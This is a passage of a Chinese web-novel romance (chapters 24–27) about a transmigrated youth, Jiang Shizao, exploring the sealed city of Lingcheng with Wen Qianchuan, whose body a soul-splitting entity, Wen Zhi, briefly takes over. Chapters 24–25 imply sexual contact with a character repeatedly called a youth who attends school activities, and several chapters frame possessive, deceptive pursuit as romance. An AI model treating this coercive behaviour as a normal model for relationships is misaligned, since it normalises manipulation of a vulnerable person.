看见了温浅川非常可观的—— “！！！！！” 温浅川似乎也垂眸看了一眼，但他并未在意自己，只是用一种非常温和的语调说：“早早，你好可爱。” 好像并不在意这些正常的变化。 江时早心跳加速，耳畔发烫。水声淅沥间，听见温浅川如常的声音，感觉自己好像是有点反应过度了。 这本来就很正常！ 温浅川有的他也有！ 他……他只是太羡慕了！ 就在江时早不断深呼吸平复自己的心跳声时。 “哦……早早。”温浅川的声音再一次响起。不过这一次，这道声音里似乎染上了一点意味不明的笑意。 不过仍旧很温和，很体贴。 温浅川低头道，“早早，你好像需要一点帮助。” 第24章 第二十四章 好兄弟间互相帮助很正常…… 江时早平躺在休息室宽敞的大床上时, 脑子还有点神游。 洗完澡后的感觉很舒适，江时早感到一身的清爽……但想到之前浴室里仿佛顺理成章发生的另一件事，此刻只有脑袋还露在被子外的人就又想往下面缩一点点了。 床的另一侧, 温浅川侧身躺着, 看着少年白皙脸庞上微微泛红的脸颊, 他需要极度克制自己，才能让自己别再得寸进尺。 江时早感受到了温浅川的目光，他当然知道身边还躺了一个人。而经历了刚刚的事，又睡在别人的床上，江时早感觉自己现在是不是应该说点什么。 犹豫片刻，江时早小声说道：“那个……哥……刚刚谢谢你。” 听见江时早冒泡似的声音，温浅川很轻地笑了一声，“不用谢……你不也帮我了吗, 早早。” 没有必要道谢, 硬要说的话，早早还更辛苦一点。 当然，温浅川不会这样说。这个人现在身心都很愉悦，连眼尾都弯起来了。 而听到熟悉的温润的声音，江时早的心跳又有些加快了，心想那怎么能一样呢！不过经温浅川一提, 江时早脑海中不免又闪回了一些画面…… 还有自己的双手握住温浅川时的触感…… 意识到自己在想什么后，江时早的身体不由自主地哆嗦了一下, 然后就是浑身僵硬，一动也不敢动了。连头发丝都局促了起来。 相比起江时早的腼腆，温浅川的反应就自然多了。 这个人随意搭在被子上的手还在这时轻轻地拍了拍江时早那边的被子，然后状似好心地说道：“早早，快休息吧。” 温浅川的声音还是那么好听, 语调随和。 江时早认真地点了点脑袋，感觉自己是不是又有点反应过度了。 这时的江时早也想起了在原来的世界上班时，确实有听说过单身的同居室友们间会互相帮助这种事。 闭上了眼睛的江时早想了又想。 ……所以这种事就是很常见的吧。 他和温浅川都是男的，虽然他们不是室友，但是好兄弟间互相帮助也是很常见的……吧。 想通后的江时早不再纠结，他的呼吸渐渐平稳，除了耳根还红红的，放松下来的人渐渐进入了迷离的梦乡。 在他的身旁，温浅川就这样侧着身，一脸愉悦，守着身边的人入梦。 ………… 江城。 RIDT调查一组09小队办事处所在的公寓楼里。 宋沉岳的身影出现在他之前消失的那个位置时，时间已经过去八小时。 客厅里突然出现了一个人，坐在一旁单人沙发上打盹的岑献一个激灵后立刻站了起来。 “队长，你回来了！”岑献积极地同那个站在长沙发前的人打招呼，顺便向着屋内喊了一句，“副队长——钟司燕——何显镐——队长回来了。” 岑献这一嗓子喊完，被他点名的人陆续从里面的房间里走了出来。 钟司燕之前正在个人工作间里浏览信息。何显镐和副队长周众则在那间最大的作战室中。 宋沉岳进入副本的这段时间，周众将他们09小队的一些基本事项与任务信息与新队员跟进了一下。 相比起岑献之前刻意表露出的对何显镐的怀疑与试探，周众的态度倒是十分正常。 正常的将该交代的事，都与何显镐说了一遍。 此刻几人再度汇聚在客厅里，宋沉岳同09小队的成员点头示意了一下。 岑献很积极地问道：“队长，001进入这个副本了吗？” 之前他们只知道队长临时进入的副本中有209999和210001。 岑献刚问完，周众就转过头盯了他一眼，随后这位副队长面向宋沉岳，礼节问候道：“队长，一切正常吗？” 岑献被副队长盯怂了一下，随即也补救了一句：“队长辛苦了。”不过看队长这模样，肯定没有出什么意外啦。 “坐下说吧。”宋沉岳道。 几人很快就坐在了各自之前的位置上。 宋沉岳用短暂的数秒回顾整个副本，之后他说道：“001本人没有进入副本。但是209999这个人，的确就是你们之前在副本中遇见过的209999。他的代号没有变化。” 闻言，09小队的其中三位成员快速交换了一个眼神。 209999的代号果然有问题。 几秒后，钟司燕率先开口询问道：“队长，210001是之前跟209999一起进入副本的那个人吗？” 宋沉岳沉思了一瞬，他并非没有思考过这个问题，只是，“无法确定。” 宋沉岳说：“209999穿着你们描述中出现过的高中校服。” “至于210001，他的身形倒是符合你们对210000的描述。不过这一次副本中，210001的外表形象更像一位社会精英。另外，他很擅长用枪，像受过专业训练。” 擅用枪支和社会精英的形象又有些违和了。 “这样吗。”钟司燕点头思索道，“之前副本中的210000也不像是真正的高中生。” 宋沉岳想了想，看向09小队的成员们说道：“209999不是高中生。虽然不知道他为什么一直穿着那套高中校服。” 闻言钟司燕立刻从宋沉岳的话中提取出了关键信息与逻辑，“队长，你知道209999的真实身份了？” 这时其他几人也想到了：队长见到了209999本人，并且认出了对方的身份。 所以才能肯定209999不是高中生。 岑献这时插了一句：“队长，我已经查完了全国各地包括其他国家的中学校服，都没有找到209999身上那一款。不过……” 岑献说到这里时停顿了一下，他说：“江城中学的校服与209999身上那件最为相似。” 宋沉岳微微颔首，江城中学正是江时早曾经就读的学校。 就在昨晚，在知道温执看望的人是江时早后，宋沉岳手中已经有了江时早的所有信息。 此刻他的目光落在何显镐身上，宋沉岳开口道：“你那位在医院里的朋友，之后由你负责看好他。守好医院。如果温执再次出现，立刻拨打之前那个号码。” “好的，队长。”何显镐当即就应了下来。 这个任务让何显镐内心稍微松了一口气。他知道队长为什么要派人守在医院附近。 何显镐也担心温执再次靠近时早。 不过想到09小队的成员之前提到过的，温执拥有影响现实的力量，何显镐就无法放松警惕。但由他来看守医院，肯定比其他人接到这个任务好。 他可以更近距离、更快地保护时早。 宋沉岳这时说道：“我给209999留了一个号码。” 宋沉岳并没有向何显镐透露代号209999的玩家极有可能就是他的朋友江时早这件事。 倒不是因为他怀疑何显镐是温执那一边的人。 只是温执将自身存在暴露给何显镐这件事存在明显疑点。 而温执这个人，之前一直不愿意与军方合作，现在却以这种方式进入他们的视野。 宋沉岳必须非常谨慎地安排何显镐的任务与行动。 至于何显镐与温执的关系，或许真如何显镐本人所汇报的那样。但这并不代表何显镐不会在无意识间受到了温执的安排。 毫无察觉地就替对方完成了某些事。 尤其当宋沉岳在副本中见到了温执曾看望过的那位病人江时早后。 虽然无法确定温执到底有什么目的，但对方显然正在借用何显镐这个人。 ………… 铃城西岸。 SURREAL集团总部第76层中的某间私人休息室里。 江时早再次醒来时，时间已经是下午三点。 刚醒来的人还有点意识朦胧，但等他分清了梦境与现实，意识到自己还躺在温浅川的床上后，江时早的脸颊又开始升温了。 恰好这时，不远处传来了那道熟悉的声音—— “早早，你醒了，睡得好吗？” 温浅川站在窗边，身上已经穿好了一套干净的没有一丝褶皱的衬衫西裤，看起来对方已经醒了很久，或许还已经工作了一会儿了。 “哥……我醒了。”江时早的声音有些哑。视线还有些飘乎。 他刚刚竟然又在梦里梦见了温浅川，梦见了自己在浴室里和温浅川…… 啊啊啊啊啊啊啊—— 现在睁开眼，又看见了温浅川温润英俊的面庞，听见对方关心自己的声音，江时早既想钻进被子里……又感觉自己真的很对不起对方。 他怎么能在梦里还让温浅川替他做那种事！ 江时早想哭。 “早早，怎么了？”温浅川的声音里带着一道极浅的笑意。 让人感觉很舒适的笑意。如同这个人此时的形象一般，绅士又温和。 与此同时，这个站在窗边的人也往床的方向走近了几步，等他来到江时早身边时，他俯身靠近少年。 “早早？” 江时早猛地抬起头，手上的动作却又像在掩饰什么，他看向了温浅川的眼眸，看向了对方高挺的鼻梁，然后视线越来越低……说出来的话也变得断断续续。 “哥、哥、哥……我没事。” 说完，江时早都可以想象自己又红温了！脑袋也本能地垂下去了。 温浅川观察了半秒，随后沿着被沿，握上了江时早企图掩饰的手。 “！” 江时早再抬头时就撞入了温浅川那双异常温和的眼眸。 “早早，你又有反应了？” 温浅川的声音也还是那样体贴又温缓。 而他手上的动作就更加自然了。 “哥，我……”江时早已经红晕到说不出一句完整的话了。 “你刚睡醒，这很正常……早早。”温浅川说着。 这副在江时早眼中近乎完美的身形也逐渐地压近江时早。 江时早明显感觉到温浅川的靠近，但他竟然没有想要避开，只是有些难以启齿的羞涩。 “早早，我帮你。”温浅川贴近江时早的耳畔，轻声低语。 他的手指蹿入了江时早的指缝，然后越握越紧，直到另一只手也抬了起来。 …… 整整半个钟头后，红成虾的江时早抱着温浅川给他准备的新衣服重新冲入了浴室。 这一次他婉拒了温浅川继续帮忙的提议。 凌乱的床边，温浅川看着少年消失在浴室门前的背影，又垂眸看了看自己的手。最后这个人抬起那只手，贴近鼻梁，重重地吸了一口气。 一回生二回熟。 早早会越来越习惯他的。 房间里，贪婪地呼吸着江时早气息的人缓缓勾了勾唇角。 第25章 第二十五章 蛊惑 洗完澡的江时早站在了浴室的镜子前。这个空间里的水汽尚未散去, 镜面雾气蒙蒙，江时早抬手在镜面上划开一片，水珠顺势滑落, 他看向了镜中的自己。 镜中的人穿着崭新的休闲装, 尺寸分毫不差。 很合身。 应该是在他睡着后, 温浅川特意为他准备的。 这时，一滴水珠沿着江时早的发梢滴落，滴在了他的脸颊上，镜子里的倒影也随之深呼吸了一口气，那之后，江时早转身回到了休息室。 走出浴室的人视线很快就找到了窗边的那道身影。 温浅川正坐在窗边的椅子上，整个人已然恢复了往日的斯文绅士。衬衫的纽扣扣到了最顶端，袖口也一丝不苟, 目光温和。 全然没了方才在浴室与床上时的色气与侵略性。 看着这样的温浅川, 江时早的呼吸稍微平缓了一些，压下了胸腔中那股莫名的躁动！ 温浅川见人出来，已经站起了身。 “早早。” 这人脸上的笑容温润，他走向江时早，修长的身形在午后的光线下投下了一道优雅的阴影。 温浅川的目光不经意地划过少年的脖颈。 再对上江时早的目光，刚洗完澡的人, 一双琥珀色的眼睛格外清澈。 “早早，你接下来想做什么？我刚刚跟公司请假了, 让我陪你，好吗？” 温浅川一开口，江时早就发现自己很难拒绝对方。 阳光透过温浅川身后的全景落地窗，照入他们身处的这处空间，将两人的影子紧密地交叠在一起。 江时早的确想做一件事。 但他不知道温浅川会不会感到奇怪。 江时早有些担心……担心温浅川会不会发现……比如发现他不是真正的铃城居民。 毕竟江时早感觉眼前的人很聪明！ 内心挣扎了两秒, 江时早望向温浅川，心中有些忐忑地开口道：“哥，我想去铃城的边界看一眼。” 其实如果是自己一个人去的话，江时早肯定是会有些害怕的。 但是，“哥你要和我一起去吗？我感觉去那里可能有点危险……”江时早实话实说道。 他并不愿意温浅川陷入未知的危险中。 没想温浅川回复得很快：“我和你一起去。” 刚说完，这个人的眉头微微蹙起，旋即就又问道：“早早为什么会感到危险？发生了什么吗？” 听到这声询问，江时早犹豫了片刻，他在心中组织语言。 最后他选择告诉眼前的人：“我最近总是看见一些奇怪的东西……”江时早说，“昨天早晨在公交车上时也是，就在哥你上车那一站，我看见了一只……女鬼。” 江时早边说边观察温浅川的神色，有点担心对方不相信他。 但他心中又希冀，哥都跟他一起进入过无限流这种难评的神奇空间里了，应该会相信他的吧！ 然后江时早就鼓起勇气继续说道：“当时她已经走到了我旁边的过道里，她是从站台上走上车的，如果不是哥你来了，我都感觉她准备抓我了……” 江时早越说越小声。 温浅川听完后，神色的确变得严肃了些。 “早早，铃城是有很多诡异传说。”温浅川沉声道。 “哥，你相信我？”江时早眨巴了一下眼。昨天自己在公交车上撞见的那只女鬼，温浅川应该没有看见，才会那么自然地同他打招呼。 “我当然相信你，早早。”温浅川的表情这时又有了变化，带着一丝温和的纵容，他走近江时早，抬起的手轻轻地落在了少年的肩膀上。 明显的充满了安抚意味的动作让江时早紧绷的身体在这一刻缓缓放松了下来。 温浅川浅笑道，“况且我们不是才一起进入了那个叫作……‘Inter-Dimentional Travel无限游戏空间’的地方吗。” “早早，你说的话，我都相信。” “而且多亏了早早在进入副本前同我讲述的规则与信息，我们才能顺利通关，回到这里。”温浅川说。 “不过早早。” 温浅川的语调忽然一顿。 “哥？”江时早又眨巴了一下眼，也跟着紧张了起来。 不知不觉间就因为对方的变化而改变了心境。 然后就听见： “以后再遇上这种事，记得立刻联系我。我会去找你。我会……很快赶到你身边的，早早。” 江时早看着温浅川，眼前的人声音既认真又温柔。 听着这道像是叮嘱又如同承诺般的话语，江时早心间猛然一颤，感动的情绪一下子就上来了——这让他几乎又想上前握住温浅川的手了，不过…… 江时早的脑海中也倏然闪过了一些画面。 他想到了温浅川修长的手指……想到了那宽大的手掌之前才帮自己做过的事……想到这些，江时早的全身瞬间又出现了那种奇怪的、麻麻的感觉，像有一道电流在身体中乱窜。 最后江时早只能眼巴巴地望着温浅川，一动未动，有种不敢再乱动了的莫名克制。 温浅川这时微笑着说道：“早早，你刚刚说想去铃城的边界看看……你想先去哪边？” 听到这声询问，江时早迅速将自己的思想掰正，笔直说道：“哥，这里是不是距离西边的边界最近？” SURREAL集团位处铃城西岸。 江时早还发现，温浅川好像不觉得‘边界’这个说法有问题。 “对，西边边界处是一座山顶花园，早早，我们现在去吗？” “好！”江时早下定决心后就很果断。他一定要看一眼铃城的边界。 这或许能解答他心中的很多疑惑。 为什么铃城的网络只能查询到铃城内的信息…… 江时早也同温浅川说到自己的某个分析，“哥，我发现从副本中出来后，我们可能会处在一段‘受保护的时间’中，这段时间里，不会再遇上危险，昨天我从副本里出来后就没有再遇上过怪事了，今天也是……不过这只是我的猜测。” “我明白了，早早。” “还有，哥……” 江时早就这样一路与温浅川说着自己最近的观察总结，一路来到了冷气扑面的地下车库。 等到两人站在一辆银黑色的机械摩托前时。 温浅川开口道：“早早，我没有四轮车的驾照，只能骑这个带你去，可以吗？” 而一旁的江时早已经惊呆了，“哥，你这车……好帅……” 简约流畅的车身线条，在地下车库冷色调的灯光下折射出冷冽的光芒——简直酷毙了。 江时早好想伸手摸摸它。 “是吗？”温浅川眯了眯眼，笑着说，“那早早你一会儿要抱紧我。” 江时早猛猛点了点脑袋。 十分钟后，一辆承载着双人的银黑色机械摩托从SURREAL集团地下车库驶出。 江时早紧紧环住温浅川的腰，隔着衬衫，仍能感受到对方结实的肌肉线条。 而在身后的人环抱住自己时，温浅川的左手就轻轻握了握江时早的手臂，如同安抚。 他能感受到紧靠着自己后背的人，即时隔着头盔，温浅川似乎也能感受到对方的一呼一吸，而他自己隐藏在头盔下的眼睛里也笑意渐浓。 后座的江时早戴着头盔，他其实并不觉得害怕，在车速起来后，心情甚至也随着两侧的风一样舒畅了起来…… 银黑色线条驶过的铃城西岸属于金融区，这里的建筑设计超前，在阳光下闪闪发光。一条条道路规整宽敞，绿树成荫，路上却几乎没有行人。 而这一路上，江时早都紧贴着温浅川的后背。他轻轻地呼吸着，逐渐远离城市，也仿佛远离了穿书后滋生的恐惧与迷茫。 在即将抵达西岸边界时，温浅川将车停在了山脚下的停车场。 “这里不高，步行大约三十分钟，我们就能抵达山顶花园。”温浅川同身边的少年说道，“上山的步道上也可以看见铃城的景色。” 江时早听着点了点脑袋，“谢谢哥。” 随后两人一起步行上山。 江时早时不时就会看向铃城的方向，然后又看向温浅川。 温浅川穿着衬衫西裤，此刻没有穿西装外套的人看起来更加年轻俊朗了。 步道的一侧是茂密的树木，一侧是宽阔的视野，恰好背着近傍晚的阳光。 如果这里不是铃城，在这样的环境中，江时早会认为自己只是在与朋友相约爬山。 走走停停半个钟头后，他们来到了山顶上的那片花园。 从花园的东面望过去，几乎可以将整座铃城收入眼中。 江时早还看见了那座自己每一天都会乘着公交经过的南岸大桥。 那之后，他和温浅川一同走向了另一个方向——背向铃城中心的方向。 几分钟后，当江时早站在真正的边界前方时，他终于看见了这座铃城的边界。 明明阳光依旧，江时早的前方却浮动着一片如同黑幕般的屏障。 莫名的寒意从背脊升起。 他想过铃城的外面可能什么也没有，但没有想到当他非常接近边界时，会在那一瞬间看见一片割裂的黑，一种近乎吞噬一切的虚无。 在那片黑暗出现时，江时早明显感觉到，自己无法再向前走动了。 他的前方存在着未知的屏障。 寒意瞬间上窜，江时早试图与身边的人说——“哥，你看见了吗？这里好黑……” 江时早说着就回头望向了温浅川。但在对上那双无比温和的眼眸时，那一瞬间，江时早的心脏猛地揪紧，仿佛已经得到了答案。 “这里……一直是这样吗？” “对，一直是这样。怎么了早早，有什么不对吗？” 温浅川的声音如常，好像边界就该如此。不止西岸的边界，整座铃城的边界都是如此。 听到温浅川的回答，江时早的心情很复杂，还有些慌，几乎乱成了一团。 “哥……你有没有想过边界外的世界会是什么样。” “早早，你在想什么？”温浅川笑了一声。 这个人的声音依旧温和，好像只是听见了一个玩笑话，他的手轻轻搭在了江时早的肩上，再开口时，这道声音近乎蛊惑： “外面什么也没有啊……早早，我们一直生活在这里……不好吗？” 第26章 第二十六章 “一半真实，一半虚构”…… ……什么也没有吗？ 江时早怔在了原地。他的瞳孔微微收缩, 不易察觉地震颤着。在他侧身看向温浅川时，夕阳的余晖也洒落在了少年瓷白的脸颊上，落下了一半阴影, 一半光辉。 就像他对面那人一样。 温浅川的轮廓也有一半在光下, 一半在阴影中。 好像整座铃城在江时早的心中, 也是一半真实，一半虚构。 那一刻，江时早琥珀色的眼眸中盛出了复杂的情绪。 那股情绪几乎要冲破他的胸腔。 他看着眼前的温浅川，对方眼中有一抹关心，是他已经很熟悉了的关切眼神，带着令人心安的暖意。江时早能感觉到温浅川覆在自己肩膀上的手，他们就这样对视着。 而看着这个人，江时早的心底很快被另一种情绪覆盖。 那一个瞬间, 他握住了温浅川的手。 山顶花园上的晚风带着一点凉意, 让人心绪宁静的舒适凉意。 “没事了，哥。”江时早对温浅川说道。 他在心里重重的呼吸了一口气。 江时早发现，自己之前的询问根本是在为难温浅川。 他明明知道温浅川是铃城的居民。对方的所有认知都在铃城中形成，在这座封闭的城市中形成。 而他刚刚询问温浅川的问题，就像一个外星人突然来到了地球上，还出现在了自己的面前询问他：“兄弟, 你不知道宇宙之外是什么样吗？” 想到温浅川一直生活在铃城，只能在铃城, 莫名的，江时早有些难过。 而《铃城》是Abyss写的书。 这个世界就好像一半真实，一半虚构。 江时早的心头泛起难言的酸楚。 一直留意着眼前人情绪的温浅川明显愣了一下。 “早早……” 温浅川的右手正被身前的少年握着，他意识到，早早好像在心疼自己…… 那一瞬间, 隐秘的情绪不受控制地疯狂翻涌，温浅川的眼眸深邃如海，他想要抬手抚摸眼前人的脸颊。 但当这个人抬起那原本落在江时早肩上的手时。 也就在这时，温浅川的眼瞳骤然涣散了一瞬，整个人向前倾倒。 “哥——？！” 意外发生时，江时早第一时间就抱住了温浅川。他看见温浅川的额头渗出了细密的汗珠，对方的呼吸也变得沉重紊乱。 “哥你怎么了？你别吓我，哥。” 发生了什么。江时早的脑海一瞬间已经闪过了无数想法。他一只手抱着温浅川的腰，一只手还紧握着对方的手。那之后，他小心扶住温浅川的肩膀，让对方的手臂能够搭在自己的肩膀上。 也让温浅川靠在了他的身上，以防摔倒。 “早早……” 温浅川还没有完全失去意识。 江时早感受到温浅川的呼吸在自己的颈间，灼热又剧烈的呼吸，也让江时早的心跳不断加快，愈发慌乱。 “哥、哥，我在，我在这里——” 江时早的视线慌乱地看了眼周围，最后在那近在咫尺的铃城边界上停留了一瞬。 会不会是因为离边界太近了……是它影响了温浅川吗？ 想到这一可能性，江时早立刻扶着温浅川，想往花园的另一端走去。 “哥，那里有椅子，我扶你过去坐着……”少年的声音有些发颤。 但江时早走得很稳，他不敢快步，温浅川修长的身躯几乎倚靠在他的身上，但同时他又能感受到西装下的这具身体肌肉几乎紧绷如弦。 哥到底是怎么了…… 江时早一直留意着温浅川的表情，生怕再出意外。 温浅川的呼吸声变得很重。 “哥，你还能听见我说话吗？哥你之前有过这种情况吗……” 江时早不确定温浅川有没有急性病历史。对方不曾提起。他也想到了之前他们在副本中停留了那么长时间，温浅川都没有过任何不适。几乎可以排除这个可能性。 但还是要问一下…… 温浅川没有说话。 江时早看了眼温浅川的神色，有些心疼道：“哥，没事，别勉强……”说着他摸了摸温浅川的口袋，并没有发现任何随身携带的药物。 看起来现在的情况就是意外。 江时早继续扶着人往花园的另一端缓缓走去。 而就在两人即将要抵达长椅边时，那个被扶着的人忽然握住了江时早的手腕。 那一瞬间，这个人的视线凝聚，眼神骤然变化，好像变了一个人。 “哥？”江时早停下了脚步。 在江时早的目光投来时，“温浅川”已经闭上了眼睛。他深呼吸了一口气，不露痕迹地调整重心。等他重新站稳身形时，再睁眼，这个人又恢复了那副斯文模样。 “哥……？”江时早的目光有些惊讶。 温浅川看上去好像好了。 江时早扶着对方的手臂，又仔细瞅了瞅人，“哥，你没事了吗？” 虽然温浅川看起来好像好了，但江时早还是不太放心。毕竟刚刚温浅川出现异常时也很突然。 “早早……我没事了。” “温浅川”说着，向身边的人露出了一个没事了的笑容。 江时早不放心地又观察了数秒，直到温浅川的眼神变得有些尴尬又腼腆时，江时早这才松了一口气。 难道真是因为刚刚太靠近边界了，造成的？ 江时早这时看了看不远处的长椅，回头与温浅川说道：“哥，还是先去那边坐一会儿吧。” “好。”“温浅川”颔首应道，那之后，他与江时早一起走到了长椅边坐下。 而两人的前方，是傍晚时段的铃城。 ………… 几个钟头前，江城。 一栋十分普通的老旧公寓楼内，某个代号“001”的玩家在捕获到一片自己早已分裂出去的灵魂碎片的记忆后，那一刻，这个人脸上的神色暗沉的差点滴出了墨。 昏暗的客厅里，温执握成拳的手指紧了又紧，指节捏得近乎发白。 接收到记忆的那一刻，实际上很多感官也同步了。 但是…… 身体的感官越强烈，温执额间的青筋就越暴起。 那些涌现的画面，那些触感，甚至是少年身上淡淡的沐浴露清香，都清晰得令人发狂。 而那同时，温执心底的愤怒也如同深海中翻涌起的海浪。 铃城里的那些东西竟然敢染指他的早早。 “早早……”低哑的、痛苦的嗓音在昏暗中回荡。 那之后，客厅里的人呼吸越来越重，到最后只从神情已经很难看出他到底是在愤怒，还是在……什么。 无数的记忆碎片在温执的脑海翻涌。同步的感官让这个人在这一刻就像是变成了一头饥饿的凶兽。 “早早……” 一声声暗哑的呼唤从他的唇边溢出。 越来越低沉，越来越渴望，最后几近呓语。 …… 不知道过了多久，直到温执的身影在这间公寓中消失——那之后，大约过了一刻钟——铃城西岸的山顶花园中，温浅川的瞳孔在一瞬间涣散了开。 也惊吓到了他身边的人。 “哥——？！” “哥你怎么了？” “哥你别吓我，哥……” …… 江时早的声音仿佛就在他的耳边。 “早早……”“温浅川”——温执回应着。 感受到两人紧靠在一起。 他的身体与精神也再次凝聚，紧绷。 他要……控制……这具身体。 眼神骤然凝聚间，“温浅川”恢复了正常，而现在，温执与江时早并肩坐在花园中的长椅上，在身边的少年眼中，他仍然是“温浅川”。 “哥，真的没事吧？” 对上江时早关心的目光，近在咫尺的，温执的喉结难耐地上下滚动了一下。 “我没事……早早。”他说，“刚刚可能是……低血糖了。让你担心了，抱歉。” 温执格外珍惜现在的每一分每一秒……每一次与江时早说话的机会。 此刻这具身体中的灵魂正在暴动，想要夺回主控权。温执需要非常克制，才能维持住自己的表面，神情与声音。 “哥，你又出汗了……”江时早注意到“温浅川”额间溢出的细汗。 “真的没事，早早。”温执浅笑着回道，似乎想要抬手安抚一下身边的少年。但是…… 想到自己现在的身份，他又把手收回去了。 不想让早早更亲近温浅川了。 心底对这一灵魂碎片的厌恶也快到了顶端。 他无法在铃城过久停留，温浅川的那片灵魂正在不断地抢夺这具身体的控制权。 而他本体与这些灵魂碎片的分裂，也使他只可能短暂地控制住这具身体，还要防止这些东西通过他离开铃城。 温执无法在这里停留，他的视线落在江时早身上——但他又舍不得离开眼前的人。 “早早……” “嗯，怎么了，哥？哪里不舒服吗？” “没有，就是在想……”你。 温执垂下眼眸。 他清楚现在还未到时机，他要等，等到那个万无一失的时机到来，然后将早早……从铃城中安全地带走。 至于他自己有多少灵魂碎片在这座城市里。 温序……温浅川……温鹤临……还有那个生长在铃城深渊中心的……“温执”。 这些东西，都别想玷污他的早早。 ………… 江城。 时间已经过了午夜。 宋沉岳收到最新情报时，人已经坐在了RIDT调查组在江城最大的指挥中心里。 最新情报是关于一个尚未破译的副本信息。 在IDT无限游戏空间里，有一类副本，即使玩家未能通关，也有一定几率离开副本，从而存活下来。 这类副本在RIDT调查组中归属于S类特殊副本。副本难度巨大，但也因为存在安全离开副本的方式，所以将其视为可探索类的特殊S类副本。 最新情报正是由一队成功从一个S类特殊副本中退出的调查小队成员带来的。 其中包含了这个尚未被破译的副本中的BOSS信息。 ‘副本场景为一栋高楼。’ ‘离开这栋楼的人再也没有回来。’ ‘绝对不能离开大楼。’ ‘确认副本BOSS的真实位置在楼内第76层。’ ‘极度危险，无法靠近。’ …… 宋沉岳翻阅着手中的信息，深沉的视线在一行行文字上扫过。 在看见调查小队成员汇报中所描述的副本BOSS形象时。 这个人的手指已经开始缓慢地敲击起了桌面。 ‘副本中可能存在一段安全时间。’ ‘副本世界时间每日清晨六点半至八点间，副本BOSS似乎不会出现。’ ‘这段时间是玩家逃离副本的最佳时段。’ 第27章 第二十七章 达成共识の怪物们 “想什么？” 江时早的声音在傍晚的微风中响起。 暮色中的山顶花园宁静又温暖, 远处铃城的灯火随着变化的天色正渐次的亮起。 此刻，那个坐在长椅左侧的人目光幽邃，他能感受到身边少年投来的关切目光。 纯粹的, 直白的目光…… 但一想到这些关心是给予谁的, 温执心中不免有些吃味……但那之后又不断泛起隐秘的妄想, 早早关心的就是自己，是他。 所有这一切，温执都不能表现出来。 他压下心底翻涌的情绪，快速调整好了自己，再抬眸时，他就是“温浅川”了。 “对了，早早。”此刻的温执声音轻柔，眸光温润, 他看向身边的江时早, “我重新想过了，你刚刚的问题。” 闻言江时早愣了一下。 “关于你说的，边界外的世界。”温执的语速轻缓。 江时早的手指却忽地握紧了一下，他紧张地观察着温浅川的状态，也立刻开口道：“哥，其实这个问题不是很重要……” 原本就担心刚刚发生在温浅川身上的异常与他们靠近边界有关。 如果真是这个原因, 说不定谈论这个话题也会出现异常。 江时早担心温浅川再想下去会有危险。 但此刻的温浅川看起来好像已经想了很久，像是做过了认真的思考, 才开口：“早早，如果，我是指假设，假设边界外有更好的世界……我希望你可以见到它。” 傍晚的风在这一刻突然变得凛冽。 听见这样的话，江时早张了张口, 一时间也没能从这转折间回过神来。 哥这是怎么了？ 温浅川再次提起这个话题后，江时早就一直留意着温浅川的情况，生怕再出意外。 等了好一会儿，见身边的人没有异样，江时早这才稍微松了口气。 他想或许这个话题是可以聊的。 不过哥之前不是还说一直生活在这里很好吗…… 温浅川察觉到什么了吗？对了，哥都跟他一起进入过那个无限游戏空间了，肯定会意识到什么。 “你呢，哥，你不想离开铃城吗？”江时早小心翼翼地问道，声音轻得几乎能被风吹散。 “我不能离开铃城。” 一直等待着江时早询问的温执唇角勾起了一道微不可察的弧度。 现在是不是可以断了早早对温浅川刚萌生的那点不切实际的幻想和怜悯了…… 他的早早，真的太容易心软了。才会被铃城的这些东西蒙骗。 此时的温执表情依旧温和，只是语调微变，“我一直生活在这里，工作也在这里。我很喜欢我的工作，没有离开的想法。” “这样啊……”江时早缓缓点了点脑袋。想起了在温浅川办公室里看见的那些建筑模型与设计。 哥果然是个热爱工作的人。 想想也对…… 江时早微微垂眸。 但是想到自己如果成功回到了原来的世界，那他不就再也见不到温浅川了。 毕竟在他的世界里，《铃城》是一本书…… 想到这里，江时早的胸腔瞬间又窜起了奇怪的感觉。又是那种感觉。麻麻的。还有点酸。 感受到江时早的情绪低落，温执的身形瞬间僵硬了一下。 “早早……”温执艰难地开口。他抬起右手，想要安抚身边的人，想要江时早不要为了铃城中的人难过。 他还在等他醒过来。等他回来。 “哥？” 江时早就难过地走神了三秒，再回头就发现温浅川好像又低血糖了！ 原本坐在长椅右侧的人瞬间就挪到了左边那人的身边，江时早手忙脚乱地贴着温浅川：“哥，你没事吧？” 下一秒他的手就被身边的人握住了。 温浅川再抬头时，眼眸已经恢复了清明，他看向江时早，扬起一个江时早熟悉的浅笑。 “我没事。”温浅川说。 夺回身体控制权的瞬间，温浅川就反握住了江时早的手。 回忆起刚刚有人借他的口对身边的人说的话，温浅川心中冷笑，但面上却愈加温和。 “早早。” 他当然清楚温执在打什么算盘。对方想让早早意识到他们之间存在鸿沟。但温执似乎忘了，早早现在可是在铃城。 这片鸿沟的位置已然变了。 看着近在眼前的人，温浅川愉悦地抬起手，环抱住了江时早的肩膀。 早早已经不再是……见不着、摸不到的了。 “哥？” “早早，一会想去哪？” “去……”江时早下意识看向了前方，整座铃城似乎都已经亮起了灯。 现在已经知道了铃城边界的情况，这里看起来就是一座封闭的城市，一个封闭的空间…… 至于系统…… 穿书后的系统最后一次说话还是在昨天。在他参加学校的社团活动时，穿书系统让他进行游戏，说这样可以帮助他回归现实世界。 那之后没过多久，江时早就触发了无限流系统，进入了那个无限副本中…… 江时早怀疑过穿书系统让他进行的游戏实际上是指之后出现的无限游戏空间中的副本。 但令人费解、甚至有些抓狂的是，现在他的穿书系统和无限流系统好像都故障了！ 江时早完全不知道该问谁，又该去哪求证。 最后这个坐在长椅上的少年望向了他身边的温浅川，两人此刻仍挨得很近，但江时早好像已经习惯了。 他嘴里迸出了两个字：“书店？” “哥你昨天说的那家书店。”江时早又补了一句。 没有办法了，现在只能在已经收集到的情报下，尽量维持现状，继续苟住。 既然已经知道那个无限游戏空间中的副本很可能是由Abyss的小说，或者铃城中存在的小说故事构成……那他必须尽快把那些小说都看完！！ “好，我陪你。”温浅川说着拍了拍江时早的肩膀。 “哥，回头你也多看几本小说。”江时早说道，这很重要！ 江时早决定一会儿到了书店，就靠自己的超绝直觉给温浅川挑几本看。 “……好。”温浅川揉了揉了鼻梁，微笑道。 等两人回到温浅川公司旁那家新开的书店时，天色已经彻底暗了下来。 但铃城西岸的灯火永远明亮。 书店是一座五层楼高的整体建筑，几何形的外观设计非常美观现代化，又在细节上融入了古典元素，一面面玻璃幕墙在夜色中熠熠生辉。 “真漂亮……”站在外面时，江时早就由衷地感叹了一句。 